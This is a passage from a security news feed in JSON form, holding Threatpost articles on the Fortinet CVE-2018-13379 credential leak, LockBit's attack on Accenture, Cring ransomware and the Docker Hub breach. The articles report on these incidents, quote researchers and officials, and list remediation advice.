Bug Was Exploited\n\nOn Wednesday, the company confirmed that the attackers exploited [FG-IR-18-384](<https://www.fortiguard.com/psirt/FG-IR-18-384>) / [CVE-2018-13379](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>): a path traversal weakness in Fortinet\u2019s FortiOS that was discovered in 2018 and which has been [repeatedly](<https://threatpost.com/election-systems-attack-microsoft-zerologon/160021/>), [persistently](<https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/>) [exploited](<https://threatpost.com/hackers-exploit-flaw-cring-ransomware/165300/>) [since](<https://threatpost.com/nsa-security-bugs-active-nation-state-cyberattack/165446/>) then.\n\nUsing the leaked VPN credentials, attackers can perform data exfiltration, install malware and launch ransomware attacks.\n\nThe bug, which recently made it to the Cybersecurity and Infrastructure Security Agency\u2019s (CISA\u2019s) list of the [top 30 most-exploited flaws](<https://threatpost.com/cisa-top-bugs-old-enough-to-buy-beer/168247/>), lets an unauthenticated attacker use specially crafted HTTP resource requests in order to download system files under the SSL VPN web portal.\n\n[Fortinet fixed the glitch](<https://www.fortiguard.com/psirt/FG-IR-18-384>) in a May 2019 update (and has since then repeatedly urged customers to upgrade their devices to FortiOS 5.4.13, 5.6.14, 6.0.11, or 6.2.8 and above). But even if security teams patched their VPNs, if they didn\u2019t also reset the devices\u2019 passwords at the same time, the VPNs still might be vulnerable.\n\n## All in the Babuk Family\n\nAccording to BleepingComputer, a threat actor known as Orange \u2013 the administrator of the newly launched RAMP hacking forum and a previous operator of the Babuk ransomware operation \u2013 was behind the leak of Fortinet credentials.\n\nOrange, who reportedly split off from Babuk after gang members quarreled, is believed to now be in with the new Groove ransomware operation. On Tuesday, Orange created a post on the RAMP forum with a link to a file that allegedly contained thousands of Fortinet VPN accounts.\n\nAt the same time, a post promoting the Fortinet leak appeared on Groove\u2019s data leak site.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/09/09181910/Screen-Shot-2021-09-09-at-6.18.51-PM-e1631225999483.png>)\n\nGroove is a new ransomware gang that\u2019s been active just since last month. It favors the [double extortion](<https://threatpost.com/double-extortion-ransomware-attacks-spike/154818/>) model of combining data compromise with threats to publish seized data.\n\nAccording to a Wednesday[ post](<https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates>) co-authored by researchers from Intel471 and McAfee Enterprise Advanced Threat Research (ATR), with contributions from Coveware, McAfee Enterprise ATR said that it believes with high confidence that Groove is associated with the Babuk gang, either as a former affiliate or subgroup.\n\n## Chatting Up the Ransomware \u2018Artist\u2019\n\nOn Tuesday, one of the Groove gang\u2019s members decided to chat up [Advanced Intel researchers](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATURfcd4v3FHxX6gbihrPKiOsKVZWKogo5F6F12wmaozsXKHpRn-2BuwOKhxsw08i8Jv-2FwvO5fMxaC-2Fte96Z6WZovyPDvgaoAv118tKwZ5rO8iwUDyyIWPDHnMoXBJtaLTD2RabFZrrydZEg6RqJoehkdLk-3DUm1f_q07lK5GAAVvAnbc-2Fr-2FBDhAPhoMvwzp-2Bdh4wgfTcF0AUhu01ZMXdKNJrsN0iCyDU7ehW0N22Ype9yCK1TM6XYzQ9CpkZyf7pccI4YxuRF0BJuYEbml5ScFK0-2F-2FZqd-2FdTfxpBYaCF7SSTgcHUKKV76UPqxTA0p35WcvHO-2B-2FRJuzuH54khmPYQLlkSfPjUHNAEXmgG-2BAfkNgcNKoVR9B9stOpafLCBk3qkXifeCsD9qirBA0nFvpW7EKJZBqmyDuRJPZiat-2B-2BXYCIJyRqjlbli1cMzNiEtsWjfRjsB82fJ-2BuXkMJGLitr0yTHVhHoV-2B7vgARde73QCuABoV-2Fk8lDDaGpEQVoKiwlCAiZTq63zy5kUQ-3D>), to give them an insider\u2019s take on how the new ransomware syndicate was formed and how it recruits operators. That included \u201cthe \u2018truth\u2019 about the association of Babuk, [DarkSide](<https://threatpost.com/darksides-servers-shutdown/166187/>) and [BlackMatter](<https://threatpost.com/ransomware-gangs-haron-blackmatter/168212/>), and other insights on the inner relationships within the ransomware community,\u201d as researchers Yelisey Boguslavskiy and Anastasia Sentsova explained.\n\nAccording to their writeup, the Groove representative is likely a threat actor that goes by \u201cSongBird\u201d. The researchers described SongBird as a known character, being a former Babuk ransomware operator and creator of the RAMP forum \u2013 which was launched on July 11 and which caters to top ransomware operators plotting their attacks.\n\nThe screen capture below shows Advanced Intel\u2019s translation of SongBird\u2019s explanation of the platform: \u201cRAMP is the result of my year-long work of manipulation by top journalists and media such as Bloomberg and others. I spent quite some time to promote this domain and I am very proud for all of the work I did! I declare this forum is a work of art!\u201d\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/09/09183430/kitten-brag-e1631226887669.jpg>)\n\nAccording to Advanced Intel, RAMP was initially based on the former Babuk\u2019s data leak website domain but has since relocated to a new domain.\n\nSongBird was reportedly prompted to pull off their tell-all after the [disclosure of Babuk\u2019s source code](<https://threatpost.com/babuk-ransomware-builder-virustotal/167481/>). The source code was uploaded to VirusTotal in July, making it available to all security vendors and competitors. At the time, it wasn\u2019t clear how it happened, though Advanced Intel said on Wednesday that the code release was done by an actor using the alias DY-2.\n\nThe code release had repercussions, Advanced Intel said. \u201cThe incident caused a massive backlash from the underground community which once again provoked the release of the blog by SongBird,\u201d according to the report.\n\nSongBird told the researchers that the actor wanted to address \u201cthe issue of constant misinformation and misreporting originating from the Twitter community covering the ransomware subject.\u201d\n\nThe actor denied any associations between DarkSide and BlackMatter, with the exception of both ransomware strains sharing the same source code: a circumstance that means the code \u201cmost likely has been purchased from one of the DarkSide affiliates,\u201d SongBird wrote.\n\n## How to Protect Your VPN\n\nYou can check Fortinet\u2019s advisory for a list of versions affected by the oft-exploited vulnerability that was at the heart of this credential scraping. Fortinet had the following recommendations for organizations that may have been running an affected version \u201cat any time\u201d:\n\n 1. Disable all VPNs (SSL-VPN or IPSEC) until the following remediation steps have been taken.\n 2. Immediately upgrade affected devices to the latest available release, as detailed below.\n 3. Treat all credentials as potentially compromised by performing an organization-wide password reset.\n 4. Implement multi-factor authentication, which will help mitigate the abuse of any compromised credentials, both now and in the future.\n 5. Notify users to explain the reason for the password reset and monitor services such as HIBP for your domain. There is the potential that if passwords have been reused for other accounts, they could be used in credential stuffing attacks.\n\nRajiv Pimplaskar, Veridium chief revenue officer, told Threatpost that the breach is \u201ca stark reminder of today\u2019s dangers with password-based systems. While enterprises and users are starting to adopt passwordless authentication methods like \u2018phone as a token\u2019 and FIDO2 for customer and Single Sign On (SSO) portals and enterprise applications, vulnerabilities still exist across entire categories of cases such as, 3rd party sites, VPN (Virtual Private Network) and VDI (Virtual Desktop Infrastructure) environments, all of which are particularly vulnerable in the current WFH explosion.\n\n\u201cCompanies need to adopt a more holistic modern authentication strategy that is identity provider agnostic and can operate across all use cases in order to build true resiliency and ensure cyber defense against such actors,\u201d he concluded.\n\n**It\u2019s time to evolve threat hunting into a pursuit of adversaries. **[**JOIN**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** Threatpost and Cybersixgill for **[**Threat Hunting to Catch Adversaries, Not Just Stop Attacks**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** and get a guided tour of the dark web and learn how to track threat actors before their next attack. **[**REGISTER NOW**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** for the LIVE discussion on September 22 at 2 PM EST with Cybersixgill\u2019s Sumukh Tendulkar and Edan Cohen, along with researcher and vCISO Chris Roberts and Threatpost host Becky Bracken.**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-09T22:49:27", "type": "threatpost", "title": "Thousands of Fortinet VPN Account Credentials Leaked", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379"], "modified": "2021-09-09T22:49:27", "id": "THREATPOST:8A56F3FFA956FB0BB2BB4CE451C3532C", "href": "https://threatpost.com/thousands-of-fortinet-vpn-account-credentials-leaked/169348/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-08-13T13:06:12", "description": "081321 08:42 UPDATE: Accenture reportedly acknowledged in an internal memo that attackers stole client information and work materials in a July 30 \u201csecurity incident.\u201d\n\n[CyberScoop](<https://www.cyberscoop.com/accenture-ransomware-lockbit/>) reports that the memo downplays the impact of the ransomware attack. The outlet quoted Accenture\u2019s internal memo: \u201cWhile the perpetrators were able to acquire certain documents that reference a small number of clients and certain work materials we had prepared for clients, none of the information is of a highly sensitive nature,\u201d it reads. Threatpost has asked Accenture to comment on CyberScoop\u2019s report.\n\nEarlier this week, the LockBit ransomware-as-a-service (RaaS) gang published the name and logo of what has now been confirmed as one of its latest victims: Accenture, a global business consulting firm with an insider track on some of the world\u2019s biggest, most powerful companies.\n\nAccenture\u2019s clients include 91 of the Fortune Global 100 and more than three-quarters of the Fortune Global 500. According to its [2020 annual report;](<https://www.accenture.com/us-en/about/company/annual-report>) that includes e-commerce giant Alibaba, Cisco and Google. Valued at $44.3 billion, Accenture is one of the world\u2019s largest tech consultancy firms, and employs around 569,000 people across 50 countries.\n\nIn a post on its Dark Web site, LockBit offered up Accenture databases for sale, along with a requisite jab at what the gang deemed to be Accenture\u2019s pathetic security.\n\n> \u201cThese people are beyond privacy and security. I really hope that their services are better than what I saw as an insider. If you are interested in buying some databases, reach us.\u201d \n\u2014LockBit site post.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/08/11162046/LockBit-site-screengrab.png>)\n\nLockBit dark-web site screen capture. Source: Cybereason.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nAccording to [Security Affairs](<https://securityaffairs.co/wordpress/121048/data-breach/accenture-lockbit-2-0-ransomware-attack.html?utm_source=rss&utm_medium=rss&utm_campaign=accenture-lockbit-2-0-ransomware-attack>), at the end of a ransom payment clock\u2019s countdown, a leak site showed a folder named W1 that contained a collection of PDF documents allegedly stolen from the company. LockBit operators claimed to have gained access to Accenture\u2019s network and were preparing to leak files stolen from Accenture\u2019s servers at 17:30:00 GMT.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/08/11174155/countdown-clock-e1628718131517.png>)\n\nLockBit countdown clock. Source: Cyble.\n\nThe news hit the headlines late Wednesday morning Eastern Time, after CNBC reporter Eamon Javers [tweeted](<https://twitter.com/EamonJavers/status/1425476619934838785>) about the gang\u2019s claim that it would be releasing data within coming hours and that it was offering to sell insider Accenture information to interested parties.\n\n> A hacker group using Lockbit Ransomware says they have hacked the consulting firm Accenture and will release data in several hours, CNBC has learned. They are also offering to sell insider Accenture information to interested parties.\n> \n> \u2014 Eamon Javers (@EamonJavers) [August 11, 2021](<https://twitter.com/EamonJavers/status/1425476619934838785?ref_src=twsrc%5Etfw>)\n\n## Blessed Be the Backups\n\nYes, we were hit, but we\u2019re A-OK now, Accenture confirmed: \u201cThrough our security controls and protocols, we identified irregular activity in one of our environments. We immediately contained the matter and isolated the affected servers,\u201d it said in a statement. \u201cWe fully restored our affected systems from backup, and there was no impact on Accenture\u2019s operations, or on our clients\u2019 systems.\u201d\n\nAccording to [BleepingComputer](<https://www.bleepingcomputer.com/news/security/accenture-confirms-hack-after-lockbit-ransomware-data-leak-threats/>), the group that threatened to publish Accenture\u2019s data \u2013 allegedly stolen during a recent cyberattack \u2013 is known as LockBit 2.0.\n\nAs explained by Cybereason\u2019s Tony Bradley in a Wednesday [post](<https://www.cybereason.com/blog/rising-threat-from-lockbit-ransomware>), the LockBit gang is similar to its ransomware-as-a-service (RaaS) brethren DarkSide and REvil: Like those other operations. LockBit uses an affiliate model to rent out its ransomware platform, taking a cut of any ransom payments that result.\n\nBradley noted that the LockBit gang is apparently on a hiring spree in the wake of [DarkSide](<https://threatpost.com/darksides-servers-shutdown/166187/>) and [REvil](<https://threatpost.com/whats-next-revil-victims/167926/>) both shutting down operations.\n\n\u201cThe wallpaper displayed on compromised systems now includes text inviting insiders to help compromise systems \u2013 promising payouts of millions of dollars,\u201d Bradley wrote.\n\n## Insider Job?\n\nCyble researchers suggested in a [Tweet stream](<https://twitter.com/AuCyble/status/1425422006690881541>) that this could be an insider job. \u201cWe know #LockBit #threatactor has been hiring corporate employees to gain access to their targets\u2019 networks,\u201d the firm tweeted, along with a clock counting down how much time was left for Accenture to cough up the ransom.\n\n> Potential insider job? We know [#LockBit](<https://twitter.com/hashtag/LockBit?src=hash&ref_src=twsrc%5Etfw>) [#threatactor](<https://twitter.com/hashtag/threatactor?src=hash&ref_src=twsrc%5Etfw>) has been hiring corporate employees to gain access to their targets' networks.[#ransomware](<https://twitter.com/hashtag/ransomware?src=hash&ref_src=twsrc%5Etfw>) [#cyber](<https://twitter.com/hashtag/cyber?src=hash&ref_src=twsrc%5Etfw>) [#cybersecurity](<https://twitter.com/hashtag/cybersecurity?src=hash&ref_src=twsrc%5Etfw>) [#infosec](<https://twitter.com/hashtag/infosec?src=hash&ref_src=twsrc%5Etfw>) [#accenture](<https://twitter.com/hashtag/accenture?src=hash&ref_src=twsrc%5Etfw>) [pic.twitter.com/ZierqRVIjj](<https://t.co/ZierqRVIjj>)\n> \n> \u2014 Cyble (@AuCyble) [August 11, 2021](<https://twitter.com/AuCyble/status/1425391442248097792?ref_src=twsrc%5Etfw>)\n\nCyble said that LockBit claimed to have made off with databases of more than 6TB and that it demanded $50 million as ransom. The threat actors themselves alleged that this was an insider job, \u201cby someone who is still employed there,\u201d though Cyble called that \u201cunlikely.\u201d\n\nSources familiar with the attack told BleepingComputer that Accenture confirmed the ransomware attack to at least one computer telephony integration (CTI) vendor and that it\u2019s in the process of notifying more customers. According to a [tweet](<https://twitter.com/HRock/status/1425447533598453760?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1425447533598453760%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.bleepingcomputer.com%2Fnews%2Fsecurity%2Faccenture-confirms-hack-after-lockbit-ransomware-data-leak-threats%2F>) from threat intelligence firm Hudson Rock, the attack compromised 2,500 computers used by employees and partners, leading the firm to suggest that \u201cthis information was certainly used by threat actors.\u201d\n\nIn a [security alert ](<https://www.cyber.gov.au/acsc/view-all-content/alerts/lockbit-20-ransomware-incidents-australia>)issued last week, the Australian Cyber Security Centre (ACSC) warned that LockBit 2.0 ransomware attacks against Australian organizations had started to rise last month, and that they were coupled with threats to publish data in what\u2019s known as [double-extortion attacks](<https://threatpost.com/double-extortion-ransomware-attacks-spike/154818/>).\n\n\u201cThis activity has occurred across multiple industry sectors,\u201d according to the alert. \u201cVictims have received demands for ransom payments. In addition to the encryption of data, victims have received threats that data stolen during the incidents will be published.\u201d\n\nThe ACSC noted ([PDF](<https://www.cyber.gov.au/sites/default/files/2021-08/2021-006%20ACSC%20Ransomware%20Profile%20-%20Lockbit%202.0.pdf>)) that it\u2019s recently observed LockBit threat actors actively exploiting existing vulnerabilities in the Fortinet FortiOS and FortiProxy products, identified as CVE-2018-13379, in order to gain initial access to specific victim networks. That vulnerability, a path-traversal flaw in the SSL VPN, has been exploited in multiple attacks over the years:\n\nIn April, the FBI and the Cybersecurity and Infrastructure Security Agency (CISA) [warned](<https://threatpost.com/fbi-apts-actively-exploiting-fortinet-vpn-security-holes/165213/>) that advanced persistent threat (APT) nation-state actors were actively exploiting it to gain a foothold within networks before moving laterally and carrying out recon, for example.\n\n## Known Vulnerability Exploited?\n\nRon Bradley, vice president of third-party risk-management firm Shared Assessments, told Threatpost on Wednesday that the Accenture incident is \u201ca prime example of the difference between business resiliency and business continuity. Business resiliency is like being in a boxing match, you take a body blow but can continue the fight. Business continuity comes into play when operations have ceased or severely impaired and you have to make major efforts to recover.\n\n\u201cThis particular example with Accenture is interesting in the fact that it was a known/published vulnerability,\u201d Bradley continued. It highlights the importance of making sure systems are properly patched in a timely manner. The ability for Accenture to manage the repercussions of potentially stolen data will be an important lesson for many organizations going forward.\u201d\n\nHitesh Sheth, president and CEO at the cybersecurity firm Vectra, said that all businesses should expect attacks like this, but particularly a global consultancy firm with links to so many companies.\n\n\u201cFirst reports suggest Accenture had data backup protocols in place and moved quickly to isolate affected servers,\u201d he told Threatpost on Wednesday. \u201cIt\u2019s too soon for an outside observer to assess damage. However, this is yet another reminder to businesses to scrutinize security standards at their vendors, partners, and providers. Every enterprise should expect attacks like this \u2013 perhaps especially a global consulting firm with links to so many other companies. It\u2019s how you anticipate, plan for and recover from attacks that counts.\u201d\n\nWorried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-11T21:56:00", "type": "threatpost", "title": "Accenture Confirms LockBit Ransomware Attack", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379"], "modified": "2021-08-11T21:56:00", "id": "THREATPOST:3CC83DBBAFE2642F4E6D533DDC400BF6", "href": "https://threatpost.com/accenture-lockbit-ransomware-attack/168594/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-04-08T21:27:05", "description": "Threat actors are exploiting a Fortinet vulnerability flagged by the feds last week that delivers a new ransomware strain, dubbed Cring, that is targeting industrial enterprises across Europe.\n\nResearchers say the attackers are exploiting an unpatched path-reversal flaw, tracked as [CVE-2018-13379](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>), in Fortinet\u2019s FortiOS. The goal is to gain access to victims enterprise networks and ultimately deliver ransomware, according to a [report by Kaspersky researchers published](<https://ics-cert.kaspersky.com/reports/2021/04/07/vulnerability-in-fortigate-vpn-servers-is-exploited-in-cring-ransomware-attacks/>) this week.\n\n\u201cIn at least in one case, an attack of the ransomware resulted in a temporary shutdown of the industrial process due to servers used to control the industrial process becoming encrypted,\u201d Kaspersky senior security researcher Vyacheslav Kopeytsev wrote in the report. \n[](<https://threatpost.com/newsletter-sign/>)\n\nCring is relatively new to the ransomware threat landscape\u2014which already includes dominant strains [REvil](<https://threatpost.com/revil-claims-ransomware-attacks/164739/>), [Ryuk](<https://threatpost.com/ransomware-attack-spain-employment-agency/164703/>), [Maze and](<https://threatpost.com/maze-ransomware-cognizant/154957/>) [Conti](<https://threatpost.com/conti-40m-ransom-florida-school/165258/>). Cring was first [observed and reported](<https://id-ransomware.blogspot.com/2021/01/cring-ransomware.html>) by the researcher who goes by Amigo_A and Swisscom\u2019s CSIRT team in January. The ransomware is unique in that it uses two forms of encryption and destroys backup files in an effort to antagonize victims and prevent them from retrieving backup files without paying the ransom.\n\nLast week, the FBI and the Cybersecurity and Infrastructure Security Agency (CISA) [warned](<https://threatpost.com/fbi-apts-actively-exploiting-fortinet-vpn-security-holes/165213/>) that nation-state advanced persistent threat (APT) groups were actively exploiting known security vulnerabilities in the Fortinet FortiOS operating system, affecting the company\u2019s SSL VPN products.\n\nOne of those bugs, is CVE-2018-13379, a path-traversal flaw in Fortinet FortiOS. The vulnerability is tied to system\u2019s SSL VPN web portal and allows an unauthenticated attacker to download system files of targeted systems via a specially crafted HTTP resource requests.\n\nIn its report Kaspersky echoed the feds\u2019 warning adding attackers are first scanning connections to Fortinet VPNs to see if the software used on the device is the vulnerable version. In the campaign researchers observed, threat actors follow an exploit chain, exploiting CVE-2018-13379 to launch a directory-traversal attack. The goal is to crack open affected hardware, give adversaries access to network credentials and to establish foothold in the targeted network, Kopeytsev explained.\n\n\u201cA directory-traversal attack allows an attacker to access system files on the Fortigate SSL VPN appliance,\u201d he wrote. \u201cSpecifically, an unauthenticated attacker can connect to the appliance through the internet and remotely access the file \u2018sslvpn_websession,\u2019 which contains the username and password stored in cleartext.\u201d\n\nFor it\u2019s part, \u201cthe security of our customers is our first priority,\u201d according to a statement from Fortinet provided to Threatpost. \u201cFor example, CVE-2018-13379 is an old vulnerability resolved in May 2019. Fortinet immediately issued a _[PSIRT advisory](<https://fortiguard.com/psirt/FG-IR-18-384> \"https://fortiguard.com/psirt/fg-ir-18-384\" )_ and communicated directly with customers and via corporate blog posts on multiple occasions in _[August 2019](<https://www.fortinet.com/blog/business-and-technology/fortios-ssl-vulnerability> \"https://www.fortinet.com/blog/business-and-technology/fortios-ssl-vulnerability\" )_ and _[July 2020 ](<https://www.fortinet.com/blog/business-and-technology/atp-29-targets-ssl-vpn-flaws> \"https://www.fortinet.com/blog/business-and-technology/atp-29-targets-ssl-vpn-flaws\" )_strongly recommending an upgrade. Upon resolution we have consistently communicated with customers as recently as late as 2020. If customers have not done so, we urge them to immediately implement the upgrade and mitigations.\u201d\n\n## **Anatomy of an Attack**\n\nOnce gaining access to the first system on the enterprise network, attackers use the Mimikatz utility to steal the account credentials of Windows users who had previously logged in to the compromised system, according to Kaspersky.\n\nIn this way, attackers compromised the domain administrator account, and then used [commodity tools](<https://threatpost.com/ryuk-ransomware-gang-zerologon-lightning-attack/160286/>) like Cobalt Stroke backdoor and Powershell to propagate attacks across various systems on the network, according to the report.\n\nAfter gaining complete control, attackers download a cmd script to launch Cring ransomware, naming the malicious execution script \u201cKaspersky\u201d to disguise it as a security solution, Kopeytsev said.\n\nThe report breaks down how Cring achieves encryption and destroys existing backup files once it\u2019s launched on a system. First, the ransomware stops various services of two key programs on the network\u2014Veritas NetBackup and Microsoft SQL server.\n\nCring also halts the SstpSvc service, which is used to create VPN connections, which researchers surmised was to block any remediation effort by system administrators, Kopeytsev said.\n\n\u201cIt is most likely that the attackers, who at this stage controlled the infected system via Cobalt Strike, did this to make it impossible to connect to the infected system remotely via VPN,\u201d he wrote. \u201cThis was done to prevent system administrators from providing a timely response to the information security incident.\u201d\n\nCring proceeds by terminating other application processes in Microsoft Office and Oracle Database software to facilitate encryption as well as the removal of key backup files to prevent recovery of files, according to the report.\n\nIn its final step, Cring starts to encrypt files using strong encryption algorithms so victims can\u2019t decrypt files without knowing the RSA private key held by the attackers, Kopeytsev explained. First each file is encrypted using an AES encryption key and then that key is in turn encrypted using a 8,192-bit RSA public key hard-coded into the malicious program\u2019s executable file, he wrote.\n\nOnce encryption is complete, the malware drops a ransom note from attackers asking for two bitcoins (currently the equivalent of about $114,000) in exchange for the encryption key.\n\n## **Learning from Mistakes**\n\nThe report points out key mistakes made by network administrators in the attack observed by Kaspersky researchers in the hopes that other organizations can learn from them. First the attack highlights once again the importance of keeping systems updated with the latest patches, which could have avoided the incident altogether, Kopeytsev said.\n\n\u201cThe primary causes of the incident include the use of an outdated and vulnerable firmware version on the Fortigate VPN server (version 6.0.2 was used at the time of the attack), which enabled the attackers to exploit the CVE-2018-13379 vulnerability and gain access to the enterprise network,\u201d he wrote.\n\nSystem administrators also left themselves open to attack by not only running an antivirus (AV) system that was outdated, but also by disabling some components of AV that further reduced the level of protection, according to the report.\n\nKey errors in configuring privileges for domain policies and the parameteres of RDP access also came into play in the attack, basically giving attackers free rein once they entered the network, Kopeytsev observed.\n\n\u201cThere were no restrictions on access to different systems,\u201d he wrote. \u201cIn other words, all users were allowed to access all systems. Such settings help attackers to distribute malware on the enterprise network much more quickly, since successfully compromising just one user account provides them with access to numerous systems.\u201d\n\n**_Ever wonder what goes on in underground cybercrime forums? Find out on April 21 at 2 p.m. ET during a _****_[FREE Threatpost event](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)_****_, \u201cUnderground Markets: A Tour of the Dark Economy.\u201d Experts will take you on a guided tour of the Dark Web, including what\u2019s for sale, how much it costs, how hackers work together and the latest tools available for hackers. _****_[Register here](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)_****_ for the Wed., April 21 LIVE event. _**\n", "cvss3": {}, "published": "2021-04-08T14:00:32", "type": "threatpost", "title": "Hackers Exploit Fortinet Flaw in Sophisticated Cring Ransomware Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-13379"], "modified": "2021-04-08T14:00:32", "id": "THREATPOST:35A43D6CB9FAF8966F5C0D20045D1166", "href": "https://threatpost.com/hackers-exploit-flaw-cring-ransomware/165300/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2020-04-08T11:52:03", "description": "UPDATE\n\nDocker Hub has confirmed that it was hacked last week; with sensitive data from approximately 190,000 accounts potentially exposed.\n\n\u201cOn Thursday, April 25th, 2019, we discovered unauthorized access to a single Hub database storing a subset of non-financial user data,\u201d Kent Lamb, director of Docker Support, said in an email over the weekend, which a Docker user [posted on online](<https://news.ycombinator.com/item?id=19763413>). \u201cUpon discovery, we acted quickly to intervene and secure the site.\u201d\n\nThe container specialist noted that it was a \u201cbrief period\u201d of unauthorized access that impacted less than 5 percent of Hub users; however, the data includes usernames and hashed passwords, as well as Github and Bitbucket tokens for Docker autobuilds.\n\n[](<https://threatpost.com/newsletter-sign/>) \nDocker has revoked GitHub tokens and access keys for affected accounts, and the company warned that this may affect ongoing builds from its automated build service; users \u201cmay need to [unlink and then relink](<https://docs.docker.com/docker-hub/builds/link-source/>) your GitHub and BitBucket source provider,\u201d Lamb warned.\n\nTorsten George, cybersecurity evangelist at Centrify, told Threatpost that \u201cWhen you dig deeper into the details of the breach, you\u2019ll see that it\u2019s not about the numbers, but the reach. The big issue about this breach is the fact that the database included tokens from other much-used developer resources, including GitHub and Bitbucket. This breach stresses the importance of application-to-application password management (AAPM) and temporary credentials rather than permanent ones.\u201d\n\n## Ramifications and What to Do\n\nCleanup from the incident could be significant endeavor, according to researchers.\n\n\u201cAs a result of this breach, it\u2019s possible that images in your Docker Hub repository may have been tampered with or overwritten,\u201d Wei Lien Dang, vice president of product at StackRox, told Threatpost. \u201cAttacks on the build pipeline can have serious downstream effects on what is currently running inside your infrastructure. Tainted images can be difficult to detect, and the containers launched from them may even run as expected, except with a malicious process in the background. If you use Docker Hub with Kubernetes environments, you\u2019ll also need to roll your ImagePullSecrets.\u201d\n\nEven though the passwords were hashed, Docker Hub users should change their passwords on Docker Hub and any other accounts that share that password. Users can also [view security actions](<https://help.github.com/en/articles/reviewing-your-security-log%20and%20https:/bitbucket.org/blog/new-audit-logs-give-you-the-who-what-when-and-where>) on GitHub and BitBucket accounts to check for unauthorized access.\n\n\u201cUnexpected changes in images will have an effect on application behavior, making runtime detection and application baselining critical,\u201d Dang said. \u201cCharacterizing the behaviors of individual Kubernetes deployments will highlight deviations in network connectivity, file access and process executions. These deviations are all indicators that malicious activity is taking place within a container. You need the ability to quickly inspect runtime activity within your containers to verify they are running only expected processes.\u201d\n\nAlso, because Docker didn\u2019t provide a specific timeline for this breach, no one knows how long ago the unauthorized access occurred. \u201cAs with most breaches, the perpetrators may have had access to compromised resources significantly longer than just last week,\u201d Dang said. \u201cTo be safe, you should verify recently pushed images going back over the past several weeks. Doing this audit can be difficult, as not every registry will let you filter the data by image age.\u201d\n\n## Docker: An Escalating 